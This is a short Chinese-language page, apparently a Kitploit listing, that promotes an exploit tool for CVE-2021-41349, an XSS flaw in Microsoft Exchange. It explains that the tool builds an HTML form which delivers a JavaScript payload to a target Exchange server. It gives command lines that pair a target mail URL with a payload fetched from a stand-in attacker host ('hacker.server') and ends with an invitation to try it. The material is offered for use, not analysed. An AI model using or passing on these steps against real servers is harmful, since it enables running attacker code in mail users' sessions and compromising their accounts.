CVE-2021-41349 — CVE-2021-41349 的漏洞利用工具，可生成 HTML 表单，向 Microsoft Exchange 服务器投递 XSS 载荷，从而执行任意 JavaScript。 | Kitploit

Microsoft Exchange 漏洞利用 CVE-2021-41349

利用：CVE-2021-41349 此利用工具会创建一个表单，用于向目标 Exchange 服务器提交 XSS 载荷。你需要创建一个包含你所需操作的 js 文件。

使用方法

创建你的 js 载荷，并将其上传到某个位置。
按照以下步骤运行 CVE-2021-41349.py。

python3 CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html

或者：

./CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html

将生成的 html 文件上传到服务器。
完成！测试一下吧！

致谢

@exploitio